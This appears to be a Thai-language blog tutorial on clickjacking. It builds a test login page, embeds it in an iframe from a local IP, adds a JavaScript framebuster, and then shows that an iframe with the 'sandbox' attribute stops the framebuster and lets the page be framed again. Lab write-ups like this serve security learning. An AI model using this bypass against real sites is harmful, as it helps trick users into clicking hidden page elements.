How to bypass Frame busting – Clickjacking (Javascript)

บทนำ (Overview)

จากบทความ How to defend against Clickjacking (PHP) แสดงให้ถึงการป้องกัน “Clickjacking” โดยใช้ “HTTP header” ที่มีชื่อว่า “X-Frame-Option” หรือ “Content-Security-Policy” ซึ่งสามารถตั้งค่าได้ทั้งแบบเขียนโปรแกรมและที่ “Server” จากการป้องกันแบบนี้จะมีลักษณะ “Server Protection” มาในบทความนี้จะลองใช้ “JavaScript” อย่างง่าย ๆ เพื่อป้องกันเรียกใช้งานผ่าน “iFrame” ซึ่งจะมีลักษณะเป็นแบบ “Client-site protection” แต่อย่างไรก็ตามเราพบว่า <iframe> สามารถหยุด “JavaScript” ได้

ขั้นตอน (Steps)

  1. ทดสอบเขียน “html” เพื่อหน้า “Login” เพื่อทดสอบเรียกใช้ <iframe>
         <table>
    	<tr>
    		<td>Username</td>
    		<td><input type="text"><td>
    	<tr>
    	<tr>
    		<td>Password</td>
    		<td><input type="password"></td>
    	</tr>
    	<tr>
    		<td><input type="submit"></td>
    	</tr>
        </table>
        

    framebuster01

  2. จากนั้นลองทดสอบเรียกโดยใช้ <iframe> จาก “ip” หรือ “domain” ที่แตกต่างกัน
      Test ClickJacking<br>
      <iframe src="http://192.168.0.13/xframe/t.php"  width="1100" height="700" border="0" /></iframe>
    

    framebuster02

  3. จากนั้นลองเขียน “Framebuster JavaScript” ร่วมกับหน้า “Login”
    <script>
    	try {
      		if (top.location.hostname != self.location.hostname) throw 1;
    	} catch (e) {
      		top.location.href = self.location.href;
    	}
    </script>
    
  4. จากนั้นลองเรียกหน้า <iframe>  ตามขั้นตอนที่ 2 อีกครั้งจะพบว่าหน้าถูก “Redirect” ให้เป็นไปแบบขั้นตอนที่ 1 โดยอัตโนมัติ framebuster01
  5. อย่างไรก็ตามเราสามารถ “Bypass” โดยใช้หลักการไม่ให้ “Script” ของ “Frame busting” ทำงานได้โดยใช้ “Attribute” ที่ชื่อว่า <sandbox> ดังนี้
    Test ClickJacking<br>
    <iframe src="http://192.168.0.13/xframe/t.php"  width="1100" height="700" border="0" sandbox/></iframe>
    
  6. สุดท้ายสามารถดึงหน้าเว็บไซต์โดยใช้ <iframe> ได้เช่นเดิม framebuster02

ใส่ความเห็น